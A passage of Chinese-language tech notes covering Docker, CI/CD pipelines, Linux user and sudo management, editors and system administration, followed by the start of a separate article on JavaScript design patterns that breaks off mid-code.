  • -d:后台运行
  • -p:端口映射(主机:容器)
  • -v:挂载卷
  • -e:环境变量
  • --name:容器名称
  • -it:交互式终端
  • --restart:重启策略

140. docker ps

定义: docker ps 用于列出容器。

docker ps                               # 运行中的容器
docker ps -a                            # 所有容器
docker ps -l                            # 最近一个容器
docker ps -q                            # 只显示ID
docker ps --filter "status=exited"      # 过滤已退出容器

141. docker stop

定义: docker stop 用于优雅停止容器。

docker stop container_id                # 停止容器(默认10秒超时)
docker stop -t 30 container_id          # 30秒后停止
docker stop $(docker ps -q)             # 停止所有容器

142. docker rm

定义: docker rm 用于删除容器。

docker rm container_id                  # 删除已停止的容器
docker rm -f container_id               # 强制删除运行中的容器
docker rm $(docker ps -aq)              # 删除所有容器
docker rm $(docker ps -f "status=exited" -q)    # 删除已退出容器

143. docker rmi

定义: docker rmi 用于删除镜像。

docker rmi image_id                     # 删除镜像
docker rmi -f image_id                  # 强制删除
docker rmi $(docker images -q)          # 删除所有镜像
docker image prune                      # 清理无用镜像
docker image prune -a                   # 清理所有未使用镜像

144. docker build

定义: docker build 用于从 Dockerfile 构建镜像。

docker build -t myapp:1.0 .             # 构建镜像
docker build -t myapp:1.0 -f Dockerfile.prod .    # 指定Dockerfile
docker build --no-cache -t myapp:1.0 .  # 不使用缓存

145. Dockerfile

定义: Dockerfile 是构建 Docker 镜像的脚本文件。

示例:

FROM node:18-alpine                     # 基础镜像
WORKDIR /app                            # 工作目录
COPY package*.json ./                   # 复制依赖文件
RUN npm install                         # 安装依赖
COPY . .                                # 复制应用代码
EXPOSE 3000                             # 暴露端口
CMD ["node", "app.js"]                  # 启动命令

常用指令:

  • FROM:基础镜像
  • WORKDIR:工作目录
  • COPY:复制文件
  • ADD:复制文件(支持URL和自动解压)
  • RUN:执行命令
  • EXPOSE:暴露端口
  • ENV:环境变量
  • CMD:默认命令
  • ENTRYPOINT:入口点
  • VOLUME:数据卷
  • USER:用户

146. docker-compose

定义: docker-compose 用于定义和运行多容器 Docker 应用。

docker-compose.yml:

version: '3.8'
services:
  web:
    build: .
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
    depends_on:
      - db
  db:
    image: mysql:8
    environment:
      - MYSQL_ROOT_PASSWORD=123456
    volumes:
      - db_data:/var/lib/mysql
volumes:
  db_data:

常用命令:

docker-compose up                       # 启动服务
docker-compose up -d                    # 后台启动
docker-compose down                     # 停止并删除
docker-compose logs                     # 查看日志
docker-compose ps                       # 查看状态
docker-compose build                    # 构建服务
docker-compose restart                  # 重启服务

147. Docker 网络

定义: Docker 网络用于容器之间的通信。

网络模式:

  • bridge:默认网络,容器通过虚拟网桥通信
  • host:使用主机网络
  • none:无网络
  • overlay:跨主机网络
docker network ls                       # 列出网络
docker network create mynet             # 创建网络
docker run -d --network mynet nginx     # 使用自定义网络
docker network inspect mynet            # 查看网络详情

容器通信:

docker run -d --name web --network mynet nginx
docker run -d --name api --network mynet myapi
# 容器可以通过名称互相访问

148. Docker 数据卷

定义: Docker 数据卷用于持久化容器数据。

docker volume ls                        # 列出卷
docker volume create mydata             # 创建卷
docker run -d -v mydata:/data nginx     # 挂载卷
docker run -d -v /host/path:/container/path nginx  # 绑定挂载
docker volume inspect mydata            # 查看卷详情
docker volume rm mydata                 # 删除卷

数据持久化方式:

  • 数据卷(Volume):Docker 管理,存储在 /var/lib/docker/volumes/
  • 绑定挂载(Bind Mount):指定主机路径
  • tmpfs 挂载:存储在内存中

149. Docker 常用命令

# 镜像
docker images                           # 列出镜像
docker pull nginx                       # 下载镜像
docker push myimage                     # 推送镜像
docker rmi myimage                      # 删除镜像
docker build -t myimage .               # 构建镜像

# 容器
docker ps                               # 列出容器
docker run -d nginx                     # 运行容器
docker stop/start/restart container     # 停止/启动/重启
docker rm container                     # 删除容器
docker logs container                   # 查看日志
docker exec -it container bash          # 进入容器

# 清理
docker system df                        # 查看磁盘使用
docker system prune                     # 清理无用资源
docker image prune                      # 清理无用镜像
docker container prune                  # 清理已停止容器

十、CI/CD 流程

150. CI/CD

定义: CI/CD 是持续集成(Continuous Integration)和持续交付/部署(Continuous Delivery/Deployment)的缩写。

核心概念:

  • 持续集成(CI):频繁地将代码集成到主干,每次集成都通过自动化构建和测试验证
  • 持续交付(CD):确保代码可以随时安全地发布到生产环境
  • 持续部署(CD):自动化将通过测试的代码部署到生产环境

优势:

  • 快速发现和修复问题
  • 减少集成问题
  • 提高交付速度
  • 降低发布风险
  • 自动化重复任务

151. 持续集成

定义: 持续集成是开发人员频繁地将代码合并到共享仓库,并通过自动化构建和测试验证。

流程:

  1. 开发人员提交代码到版本控制
  2. CI 系统检测到代码变更
  3. 自动拉取最新代码
  4. 自动构建项目
  5. 运行自动化测试
  6. 生成测试报告
  7. 通知构建结果

工具: Jenkins、GitLab CI、GitHub Actions、Travis CI、CircleCI


152. 持续部署

定义: 持续部署是通过自动化流程将通过测试的代码部署到生产环境。

流程:

  1. 代码通过 CI 测试
  2. 自动部署到测试环境
  3. 运行集成测试
  4. 自动部署到生产环境
  5. 监控和回滚机制

最佳实践:

  • 自动化所有测试
  • 使用基础设施即代码
  • 蓝绿部署或金丝雀发布
  • 监控和告警
  • 快速回滚机制

153. Jenkins

定义: Jenkins 是开源的自动化服务器,支持 CI/CD。

特点:

  • 开源免费
  • 丰富的插件生态
  • 支持多种语言
  • 分布式构建
  • Pipeline as Code

Pipeline 示例:

pipeline {
    agent any
    stages {
        stage('Build') {
            steps {
                sh 'npm install'
                sh 'npm run build'
            }
        }
        stage('Test') {
            steps {
                sh 'npm test'
            }
        }
        stage('Deploy') {
            steps {
                sh 'scp -r dist/ user@server:/var/www/'
            }
        }
    }
}

154. GitLab CI

定义: GitLab CI 是 GitLab 内置的 CI/CD 工具。

配置文件:.gitlab-ci.yml

stages:
  - build
  - test
  - deploy

build:
  stage: build
  script:
    - npm install
    - npm run build

test:
  stage: test
  script:
    - npm test

deploy:
  stage: deploy
  script:
    - scp -r dist/ user@server:/var/www/
  only:
    - main

155. GitHub Actions

定义: GitHub Actions 是 GitHub 提供的 CI/CD 服务。

配置文件:.github/workflows/ci.yml

name: CI
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
        with:
          node-version: '18'
      - run: npm install
      - run: npm run build
      - run: npm test

156. Travis CI

定义: Travis CI 是基于云的 CI 服务。

配置文件:.travis.yml

language: node_js
node_js:
  - "18"
install:
  - npm install
script:
  - npm run build
  - npm test

157. CircleCI

定义: CircleCI 是基于云的 CI/CD 平台。

配置文件:.circleci/config.yml

version: 2.1
jobs:
  build:
    docker:
      - image: node:18
    steps:
      - checkout
      - run: npm install
      - run: npm run build
      - run: npm test

158. 自动化部署

定义: 自动化部署是通过脚本和工具自动将应用部署到服务器。

部署策略:

  • 蓝绿部署:同时运行两个环境,切换流量
  • 金丝雀发布:逐步将流量引导到新版本
  • 滚动更新:逐台服务器更新
  • 原地更新:直接在现有环境更新

Shell 脚本示例:

#!/bin/bash
APP_DIR="/var/www/myapp"
BACKUP_DIR="/var/www/backup"

# 备份当前版本
cp -r $APP_DIR $BACKUP_DIR/backup-$(date +%Y%m%d)

# 拉取最新代码
cd $APP_DIR
git pull origin main

# 安装依赖
npm install --production

# 构建
npm run build

# 重启服务
pm2 restart myapp

# 验证
curl -s http://localhost:3000/health | grep "ok"
if [ $? -ne 0 ]; then
    echo "Deployment failed, rolling back..."
    rm -rf $APP_DIR
    cp -r $BACKUP_DIR/backup-* $APP_DIR
    pm2 restart myapp
fi

159. 自动化测试

定义: 自动化测试是通过脚本自动运行测试用例。

测试类型:

  • 单元测试:测试单个函数/模块
  • 集成测试:测试模块间的交互
  • 端到端测试:测试完整用户流程
  • 性能测试:测试系统性能

CI/CD 中的测试:

# GitHub Actions 示例
- name: Run tests
  run: |
    npm run test:unit
    npm run test:integration
    npm run test:e2e

160. 构建流水线

定义: 构建流水线是 CI/CD 中的一系列自动化步骤。

典型流水线:

代码提交 -> 代码检查 -> 单元测试 -> 构建 -> 集成测试 -> 部署到测试环境 -> 验收测试 -> 部署到生产环境

最佳实践:

  • 快速反馈(失败快速)
  • 可重复的构建
  • 版本化构建产物
  • 自动化所有步骤
  • 监控和告警

十一、用户管理

161. Linux 用户管理

定义: Linux 是多用户系统,用户管理涉及创建、删除、修改用户和组。

用户类型:

  • root 用户:超级管理员(UID 0)
  • 系统用户:系统服务使用(UID 1-999)
  • 普通用户:日常使用(UID 1000+)

用户相关文件:

  • /etc/passwd:用户信息
  • /etc/shadow:密码信息(加密)
  • /etc/group:组信息
  • /etc/gshadow:组密码信息

162. useradd - 创建用户

定义: useradd 命令用于创建新用户。

useradd username                      # 创建用户
useradd -m username                   # 创建用户并创建主目录
useradd -s /bin/bash username         # 指定Shell
useradd -g group username             # 指定主组
useradd -G group1,group2 username     # 指定附加组
useradd -d /home/custom username      # 指定主目录

163. usermod - 修改用户

定义: usermod 命令用于修改用户属性。

usermod -l newname oldname            # 修改用户名
usermod -d /new/home -m username      # 修改主目录
usermod -s /bin/zsh username          # 修改Shell
usermod -aG sudo username             # 添加到组
usermod -L username                   # 锁定用户
usermod -U username                   # 解锁用户

164. userdel - 删除用户

定义: userdel 命令用于删除用户。

userdel username                      # 删除用户(保留主目录)
userdel -r username                   # 删除用户及其主目录

165. passwd - 修改密码

定义: passwd 命令用于修改用户密码。

passwd                                # 修改当前用户密码
passwd username                       # 修改指定用户密码(需要root)
passwd -d username                    # 删除密码
passwd -l username                    # 锁定用户
passwd -u username                    # 解锁用户

166. groupadd - 创建组

定义: groupadd 命令用于创建新组。

groupadd groupname                    # 创建组
groupadd -g 1001 groupname            # 指定GID

167. groupmod - 修改组

定义: groupmod 命令用于修改组属性。

groupmod -n newname oldname           # 修改组名
groupmod -g 1002 groupname            # 修改GID

168. groupdel - 删除组

定义: groupdel 命令用于删除组。

groupdel groupname                    # 删除组

169. su - 切换用户

定义: su (switch user) 命令用于切换用户。

su                                    # 切换到root
su username                           # 切换到指定用户
su - username                         # 切换并加载用户环境
su -c "command" username              # 以指定用户执行命令

170. sudo - 以管理员权限执行

定义: sudo (superuser do) 命令用于以 root 或其他用户权限执行命令。

sudo command                          # 以root执行命令
sudo -u username command              # 以指定用户执行
sudo -l                               # 查看权限
sudo -i                               # 切换到root Shell
sudo visudo                           # 编辑sudoers文件

配置: /etc/sudoers

username ALL=(ALL) ALL                # 允许用户执行所有命令
username ALL=(ALL) NOPASSWD: ALL      # 无需密码
%groupname ALL=(ALL) ALL              # 允许组内用户

十二、文本编辑命令

171. vim - 文本编辑器

定义: vim 是 Linux 下强大的文本编辑器。

三种模式:

  • 普通模式:默认模式,用于导航
  • 插入模式:编辑文本
  • 命令模式:执行命令

常用命令:

i       # 进入插入模式
ESC     # 返回普通模式
:w      # 保存
:q      # 退出
:q!     # 强制退出
:wq     # 保存并退出

导航:

h/j/k/l         # 左/下/上/右
0/$             # 行首/行尾
gg/G            # 文件开头/末尾
:n              # 跳转到第n行

编辑:

dd              # 删除行
yy              # 复制行
p               # 粘贴
u               # 撤销
Ctrl+r          # 重做

搜索:

/pattern        # 向下搜索
?pattern        # 向上搜索
n/N             # 下一个/上一个
:%s/old/new/g   # 全部替换

172. nano - 简单文本编辑器

定义: nano 是简单易用的终端文本编辑器。

常用快捷键:

Ctrl+O        # 保存
Ctrl+X        # 退出
Ctrl+W        # 搜索
Ctrl+K        # 剪切行
Ctrl+U        # 粘贴
Ctrl+6        # 复制

173. head/tail - 查看文件部分

定义: head 和 tail 用于查看文件的开头和结尾部分。

head -n 20 file.txt                 # 查看前20行
tail -n 20 file.txt                 # 查看后20行
tail -f file.log                    # 实时跟踪

十三、输入输出重定向和管道

174. 输入输出重定向

定义: 重定向用于改变命令的标准输入、标准输出和标准错误的流向。

标准流:

  • stdin (0):标准输入
  • stdout (1):标准输出
  • stderr (2):标准错误

输出重定向:

command > file.txt                  # 覆盖输出到文件
command >> file.txt                 # 追加输出到文件
command 2> error.txt                # 错误输出到文件
command > file.txt 2>&1             # 所有输出到文件
command &> file.txt                 # 简写(Bash)
command > /dev/null 2>&1            # 丢弃所有输出

输入重定向:

command < file.txt                  # 从文件读取输入
command << EOF                      # here document
line 1
line 2
EOF

175. 管道

定义: 管道 | 将前一个命令的标准输出连接到后一个命令的标准输入。

command1 | command2                 # 连接两个命令
command1 | command2 | command3      # 连接多个命令

示例:

ps aux | grep nginx | wc -l         # 统计nginx进程数
cat file.txt | sort | uniq -c       # 排序并统计
ls -l | awk '{print $5}' | paste -sd+ | bc  # 计算总大小

管道特性:

  • 数据流式传输(不需要临时文件)
  • 支持多个命令串联
  • 适合文本处理

最佳实践:

  • 结合 grep、awk、sed 处理文本
  • 使用 tee 同时输出到文件和终端
  • 避免过长的管道(复杂逻辑应使用脚本)

十四、系统理解

176. Linux 系统理解

定义: Linux 系统理解涉及操作系统架构、内核、发行版等核心概念。

系统架构:

应用程序
  ↓
Shell / 系统工具
  ↓
系统调用接口
  ↓
Linux 内核
  ↓
硬件

内核功能:

  • 进程管理
  • 内存管理
  • 文件系统
  • 设备驱动
  • 网络协议栈

发行版:

  • Debian/Ubuntu:apt 包管理
  • CentOS/RHEL:yum/dnf 包管理
  • Arch Linux:pacman 包管理
  • openSUSE:zypper 包管理

177. 系统性能监控

定义: 系统性能监控是跟踪和分析系统资源使用情况。

CPU 监控:

top                                 # 实时查看
vmstat 1                            # 每秒统计
mpstat                              # CPU详细统计

内存监控:

free -h                             # 查看内存使用
vmstat                              # 虚拟内存统计
cat /proc/meminfo                   # 详细信息

磁盘监控:

df -h                               # 磁盘使用
du -sh /path                        # 目录大小
iostat                              # I/O统计

网络监控:

netstat -s                          # 网络统计
iftop                               # 带宽监控
nethogs                             # 进程带宽

178. 系统启动流程

定义: Linux 启动流程是从开机到系统就绪的过程。

启动流程:

  1. BIOS/UEFI 初始化硬件
  2. 引导加载程序(GRUB)
  3. 加载内核
  4. 初始化 initramfs
  5. 启动 init 系统(systemd)
  6. 运行系统服务
  7. 显示登录界面

systemd 目标:

systemctl list-units --type=target  # 查看目标
systemctl get-default               # 查看默认目标
systemctl set-default multi-user.target  # 设置默认目标

常用目标:

  • multi-user.target:多用户命令行
  • graphical.target:图形界面
  • rescue.target:救援模式

179. 包管理

定义: 包管理是安装、更新、删除软件包的系统。

apt(Debian/Ubuntu):

apt update                          # 更新包列表
apt upgrade                         # 升级包
apt install package                 # 安装包
apt remove package                  # 卸载包
apt search package                  # 搜索包
apt list --installed                # 列出已安装包

yum/dnf(CentOS/RHEL):

yum update                          # 更新包
yum install package                 # 安装包
yum remove package                  # 卸载包
yum search package                  # 搜索包
yum list installed                  # 列出已安装包

180. 系统安全

定义: 系统安全是保护系统免受未授权访问和攻击。

安全措施:

  • 定期更新系统和软件
  • 配置防火墙
  • 使用 SSH 密钥认证
  • 禁用 root 远程登录
  • 最小权限原则
  • 定期备份
  • 监控日志
  • 使用 SELinux/AppArmor

SSH 安全配置:

/etc/ssh/sshd_config:
PermitRootLogin no                  # 禁止root登录
PasswordAuthentication no           # 禁用密码认证
Port 2222                           # 修改端口

附录:常用命令速查表

文件操作

命令 说明
ls 列出目录
cd 切换目录
pwd 显示当前目录
mkdir 创建目录
rm 删除文件/目录
cp 复制
mv 移动/重命名
touch 创建文件
cat 查看文件
less 分页查看

权限管理

命令 说明
chmod 修改权限
chown 修改所有者
chgrp 修改所属组

进程管理

命令 说明
ps 查看进程
top 实时监控
kill 终止进程
nohup 忽略挂起信号

网络命令

命令 说明
ping 测试连通性
ifconfig/ip 网络接口
netstat/ss 网络连接
curl HTTP客户端
wget 下载工具
ssh 远程登录
scp 安全复制

文本处理

命令 说明
grep 文本搜索
awk 文本处理
sed 流编辑
sort 排序
uniq 去重
wc 统计
cut 提取列

重新学习前端之设计模式与架构

作者 walking957
2026年5月7日 16:43

设计模式与架构


一、设计模式

1. 什么是设计模式?设计模式基础

定义

设计模式(Design Pattern)是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。它不是具体的代码,而是解决特定问题的通用方案。

原理

设计模式源于建筑领域,1994 年 GoF(四人帮)在《设计模式:可复用面向对象软件的基础》一书中首次系统化地提出 23 种设计模式。核心思想是抽象出共性问题的通用解决方案,提高代码的可复用性、可读性和可维护性。

分类

分类 说明 包含模式
创建型 关注对象的创建过程,将对象的创建与使用分离 单例、工厂方法、抽象工厂、建造者、原型
结构型 关注类和对象的组合,通过组合获得更大的结构 适配器、装饰器、代理、桥接、组合、外观、享元
行为型 关注对象间的通信和职责分配 观察者、策略、命令、状态、模板方法、责任链、中介者、备忘录、迭代器

示例

以一个简单的场景说明:假设需要创建不同类型的通知(邮件、短信、推送),如果不使用设计模式,代码可能是大量的 if-else,使用工厂模式后可以将创建逻辑集中管理。

代码示例

// 不使用设计模式
function sendNotification(type, message) {
  if (type === 'email') {
    // 发送邮件逻辑
  } else if (type === 'sms') {
    // 发送短信逻辑
  } else if (type === 'push') {
    // 发送推送逻辑
  }
}

// 使用工厂模式后
const notificationFactory = {
  email: () => new EmailNotification(),
  sms: () => new SmsNotification(),
  push: () => new PushNotification()
};

function sendNotification(type, message) {
  const notifier = notificationFactory[type]();
  notifier.send(message);
}

常见误区

  1. 设计模式不是银弹:不能生搬硬套,要根据实际场景选择
  2. 过度设计:简单问题用复杂模式反而增加复杂度
  3. 忽略语言特性:JavaScript 的函数式特性可以简化很多传统模式

2. 前端常见的设计模式有哪些及应用场景?

模式 应用场景 实际案例
单例模式 全局唯一实例 Vuex/Redux Store、路由实例、全局弹窗
工厂模式 创建同类型不同实例 创建不同类型的表单组件、创建不同类型的图表
观察者模式 一对多依赖关系 Vue 响应式系统、EventEmitter、DOM 事件
发布订阅模式 解耦的事件通信 跨组件通信、消息中间件、EventBus
策略模式 多种算法可替换 表单验证策略、支付策略、排序算法
代理模式 控制对象访问 Vue 3 响应式 Proxy、图片懒加载、API 代理
装饰器模式 动态增强功能 React 高阶组件、TypeScript 装饰器、函数增强
适配器模式 接口转换 统一不同第三方库的 API、旧接口兼容
模板方法模式 固定流程 表单提交流程、页面初始化流程
责任链模式 多级处理 中间件机制(Koa/Express)、权限校验链
建造者模式 复杂对象构建 表单构建器、图表配置构建
组合模式 树形结构 菜单组件、文件目录树、表单嵌套

3. 单例模式

定义

单例模式(Singleton Pattern)确保一个类只有一个实例,并提供一个全局访问点。

原理

通过私有化构造函数或使用闭包,控制实例的创建过程,保证只创建一个实例。

代码实现

// 方式一:使用闭包实现
class Singleton {
  constructor(name) {
    this.name = name;
    this.instance = null;
  }
  
  getName() {
    return this.name;
  }
  
  static getInstance(name) {
    if (!this.instance) {
      this.instance = new Singleton(name);
    }
    return this.instance;
  }
}

const s1 = Singleton.getInstance('singleton1');
const s2 = Singleton.getInstance('singleton2');
console.log(s1 === s2); // true,同一个实例

// 方式二:使用 ES6 私有字段
class Singleton2 {
  static #instance = null;
  
  constructor() {
    if (Singleton2.#instance) {
      return Singleton2.#instance;
    }
    Singleton2.#instance = this;
  }
  
  static getInstance() {
    return new Singleton2();
  }
}

// 方式三:惰性单例(按需创建)
const createLazySingleton = (fn) => {
  let instance = null;
  return (...args) => {
    if (!instance) {
      instance = fn.apply(this, args);
    }
    return instance;
  };
};

// 使用
const createModal = () => document.createElement('div');
const getModal = createLazySingleton(createModal);
const modal1 = getModal();
const modal2 = getModal();
console.log(modal1 === modal2); // true

应用场景

  1. 全局状态管理:Vuex Store、Redux Store
  2. 全局弹窗/提示:确保同一时间只有一个弹窗实例
  3. 路由实例:Vue Router、React Router 单例
  4. 工具类实例:日志记录器、配置管理器

注意事项

  • 线程安全:JavaScript 是单线程,不存在线程安全问题
  • 测试困难:全局状态可能影响单元测试的隔离性
  • 内存泄漏:单例不会自动释放,需要注意清理

4. 工厂模式

简单工厂

定义:定义一个工厂函数/对象,根据传入的参数决定创建哪种类型的产品。

// 简单工厂
class Notification {
  send() {}
}

class EmailNotification extends Notification {
  send(msg) { console.log('发送邮件:', msg); }
}

class SmsNotification extends Notification {
  send(msg) { console.log('发送短信:', msg); }
}

class PushNotification extends Notification {
  send(msg) { console.log('发送推送:', msg); }
}

// 工厂函数
function createNotification(type) {
  const types = {
    email: EmailNotification,
    sms: SmsNotification,
    push: PushNotification
  };
  
  if (!types[type]) throw new Error('未知的通知类型');
  return new types[type]();
}

const email = createNotification('email');
email.send('Hello');

缺点:新增类型需要修改工厂函数,违反开闭原则。


工厂方法

定义:将对象的创建延迟到子类中,每个子类决定实例化哪个类。

// 工厂方法模式
class NotificationFactory {
  create() {
    throw new Error('子类必须实现此方法');
  }
  
  send(msg) {
    const notification = this.create();
    notification.send(msg);
  }
}

class EmailFactory extends NotificationFactory {
  create() { return new EmailNotification(); }
}

class SmsFactory extends NotificationFactory {
  create() { return new SmsNotification(); }
}

// 使用
const emailFactory = new EmailFactory();
emailFactory.send('Hello'); // 发送邮件: Hello

优点:符合开闭原则,新增类型只需新增工厂类。


抽象工厂

定义:提供一个创建一系列相关或相互依赖对象的接口,而无需指定它们具体的类。

// 抽象工厂:创建一组相关的 UI 组件
class UIFactory {
  createButton() { throw new Error('抽象方法'); }
  createInput() { throw new Error('抽象方法'); }
}

class WindowsUIFactory extends UIFactory {
  createButton() { return new WindowsButton(); }
  createInput() { return new WindowsInput(); }
}

class MacUIFactory extends UIFactory {
  createButton() { return new MacButton(); }
  createInput() { return new MacInput(); }
}

class WindowsButton { render() { return '<button class="win-btn"></button>'; } }
class MacButton { render() { return '<button class="mac-btn"></button>'; } }
class WindowsInput { render() { return '<input class="win-input"/>'; } }
class MacInput { render() { return '<input class="mac-input"/>'; } }

// 使用
const factory = new WindowsUIFactory();
const btn = factory.createButton();
console.log(btn.render()); // <button class="win-btn"></button>

三种工厂对比

维度 简单工厂 工厂方法 抽象工厂
结构复杂度
扩展性 差(修改工厂类) 好(新增工厂类) 好(新增工厂族)
适用场景 产品类型少 单一产品族 多个产品族
开闭原则 违反 符合 符合

选择策略

  • 产品类型固定且少 → 简单工厂
  • 需要扩展新产品类型 → 工厂方法
  • 需要创建一组相关产品 → 抽象工厂

5. 观察者模式

定义

观察者模式(Observer Pattern)定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象。当主题对象状态发生变化时,会通知所有观察者。

原理

主题(Subject)维护一个观察者列表,当状态变化时遍历列表调用每个观察者的更新方法。

代码实现

class Subject {
  constructor() {
    this.observers = [];
  }
  
  subscribe(observer) {
    this.observers.push(observer);
  }
  
  unsubscribe(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }
  
  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  constructor(name) {
    this.name = name;
  }
  
  update(data) {
    console.log(`${this.name} 收到通知:`, data);
  }
}

// 使用
const subject = new Subject();
const observer1 = new Observer('观察者A');
const observer2 = new Observer('观察者B');

subject.subscribe(observer1);
subject.subscribe(observer2);
subject.notify('数据更新');
// 观察者A 收到通知: 数据更新
// 观察者B 收到通知: 数据更新

subject.unsubscribe(observer1);
subject.notify('再次更新');
// 只有观察者B 收到通知

Vue 响应式中的应用

// Vue 2 响应式原理简化版
function defineReactive(obj, key, val) {
  const dep = []; // 观察者列表
  
  Object.defineProperty(obj, key, {
    get() {
      // 收集依赖
      if (Dep.target && !dep.includes(Dep.target)) {
        dep.push(Dep.target);
      }
      return val;
    },
    set(newVal) {
      if (newVal !== val) {
        val = newVal;
        // 通知所有观察者
        dep.forEach(watcher => watcher.update());
      }
    }
  });
}

6. 发布订阅模式

定义

发布订阅模式(Pub-Sub Pattern)通过一个事件中心来解耦发布者和订阅者。发布者不直接通知订阅者,而是通过事件中心转发消息。

代码实现

class EventEmitter {
  constructor() {
    this.events = {};
  }
  
  on(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
    return this; // 链式调用
  }
  
  off(event, callback) {
    if (!this.events[event]) return this;
    if (!callback) {
      delete this.events[event];
    } else {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
    return this;
  }
  
  emit(event, ...args) {
    if (!this.events[event]) return this;
    this.events[event].forEach(callback => callback.apply(this, args));
    return this;
  }
  
  once(event, callback) {
    const wrapper = (...args) => {
      callback.apply(this, args);
      this.off(event, wrapper);
    };
    this.on(event, wrapper);
    return this;
  }
}

// 使用
const bus = new EventEmitter();

bus.on('login', (user) => {
  console.log('用户登录:', user.name);
});

bus.on('login', (user) => {
  console.log('发送欢迎邮件给:', user.name);
});

bus.emit('login', { name: '张三' });
// 用户登录: 张三
// 发送欢迎邮件给: 张三

7. 观察者模式与发布订阅模式的区别

维度 观察者模式 发布订阅模式
耦合度 主题和观察者直接耦合 通过事件中心解耦
结构 主题知道观察者的存在 发布者和订阅者互不知道
通信方式 直接调用 update() 通过事件中心转发
灵活性 较低,关系固定 较高,动态订阅/取消
典型应用 Vue 响应式、DOM 事件 EventBus、Node.js EventEmitter

选择策略

  • 需要紧密耦合、直接通知 → 观察者模式
  • 需要解耦、灵活的事件通信 → 发布订阅模式

8. 策略模式

定义

策略模式(Strategy Pattern)定义一系列算法,将它们封装起来,使它们可以相互替换。

代码实现

// 策略对象
const discountStrategies = {
  normal(price) { return price; },
  vip(price) { return price * 0.9; },
  svip(price) { return price * 0.7; },
  flashSale(price) { return price * 0.5; }
};

// 上下文
class PriceCalculator {
  constructor(strategy) {
    this.strategy = strategy;
  }
  
  calculate(price) {
    return this.strategy(price);
  }
  
  setStrategy(strategy) {
    this.strategy = strategy;
  }
}

// 使用
const calculator = new PriceCalculator(discountStrategies.normal);
console.log(calculator.calculate(100)); // 100

calculator.setStrategy(discountStrategies.vip);
console.log(calculator.calculate(100)); // 90

calculator.setStrategy(discountStrategies.flashSale);
console.log(calculator.calculate(100)); // 50

实战应用:表单验证

const validators = {
  required: (value) => value ? '' : '不能为空',
  minLength: (value, min) => 
    value.length >= min ? '' : `最少需要${min}个字符`,
  isEmail: (value) => 
    /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(value) ? '' : '邮箱格式不正确',
  isPhone: (value) => 
    /^1[3-9]\d{9}$/.test(value) ? '' : '手机号格式不正确'
};

function validate(rules, value) {
  for (const rule of rules) {
    const { type, ...params } = rule;
    const error = validators[type](value, ...Object.values(params));
    if (error) return error;
  }
  return '';
}

// 使用
const rules = [
  { type: 'required' },
  { type: 'minLength', min: 6 },
  { type: 'isEmail' }
];

console.log(validate(rules, ''));        // 不能为空
console.log(validate(rules, 'abc'));     // 最少需要6个字符
console.log(validate(rules, 'abc@'));    // 邮箱格式不正确
console.log(validate(rules, 'a@b.com')); // '' 通过验证

优点

  • 避免大量 if-elseswitch
  • 算法可独立变化,符合开闭原则
  • 运行时可切换策略

9. 代理模式

定义

代理模式(Proxy Pattern)为其他对象提供一个代理以控制对这个对象的访问。

代码实现

// 方式一:函数代理
function createProxy(target) {
  return new Proxy(target, {
    get(obj, prop) {
      console.log(`访问属性: ${prop}`);
      return prop in obj ? obj[prop] : undefined;
    },
    set(obj, prop, value) {
      console.log(`设置属性: ${prop} = ${value}`);
      obj[prop] = value;
      return true;
    }
  });
}

const user = createProxy({ name: '张三', age: 25 });
console.log(user.name); // 访问属性: name \n 张三
user.age = 26;          // 设置属性: age = 26

// 方式二:图片懒加载代理
class RealImage {
  constructor(src) {
    this.src = src;
    this.load();
  }
  load() { console.log('加载图片:', this.src); }
  display() { console.log('显示图片:', this.src); }
}

class ProxyImage {
  constructor(src) {
    this.src = src;
    this.realImage = null;
  }
  display() {
    if (!this.realImage) {
      this.realImage = new RealImage(this.src);
    }
    this.realImage.display();
  }
}

// 方式三:API 缓存代理
function createApiProxy(apiFn) {
  const cache = {};
  return async (...args) => {
    const key = JSON.stringify(args);
    if (cache[key]) {
      console.log('使用缓存');
      return cache[key];
    }
    const result = await apiFn(...args);
    cache[key] = result;
    return result;
  };
}

应用场景

  1. Vue 3 响应式:使用 Proxy 实现数据劫持
  2. 图片懒加载:延迟加载大图片
  3. API 缓存:缓存请求结果
  4. 访问控制:权限校验代理
  5. 日志记录:记录属性访问

10. 装饰器模式

定义

装饰器模式(Decorator Pattern)在不改变原对象的基础上,通过对其进行包装扩展,动态地给对象添加职责。

代码实现

// 函数装饰器
function withLog(target) {
  return function(...args) {
    console.log('调用前:', args);
    const result = target.apply(this, args);
    console.log('调用后:', result);
    return result;
  };
}

function add(a, b) { return a + b; }
const addWithLog = withLog(add);
addWithLog(1, 2);
// 调用前: [1, 2]
// 调用后: 3

// 类方法装饰器(TypeScript 风格)
function readonly(target, key, descriptor) {
  descriptor.writable = false;
  return descriptor;
}

// 组合装饰
function withCache(ttl = 5000) {
  const cache = {};
  return function(target) {
    return function(...args) {
      const key = JSON.stringify(args);
      if (cache[key] && Date.now() - cache[key].time < ttl) {
        return cache[key].data;
      }
      const result = target.apply(this, args);
      cache[key] = { data: result, time: Date.now() };
      return result;
    };
  };
}

const expensiveCalc = (x) => {
  console.log('计算中...');
  return x * x;
};
const cachedCalc = withCache(3000)(expensiveCalc);

React 高阶组件(HOC)

function withLoading(WrappedComponent) {
  return function WithLoadingComponent({ isLoading, ...props }) {
    if (isLoading) return <div>Loading...</div>;
    return <WrappedComponent {...props} />;
  };
}

// 使用
const EnhancedComponent = withLoading(MyComponent);

11. 适配器模式

定义

适配器模式(Adapter Pattern)将一个类的接口转换成客户希望的另一个接口,使原本由于接口不兼容而不能一起工作的类可以一起工作。

代码实现

// 旧版 API
class OldMapService {
  getLocations() {
    return [
      { lat: 39.9, lon: 116.4, name: '北京' },
      { lat: 31.2, lon: 121.5, name: '上海' }
    ];
  }
}

// 新版需要格式:{ latitude, longitude, title }
class MapAdapter {
  constructor(oldService) {
    this.oldService = oldService;
  }
  
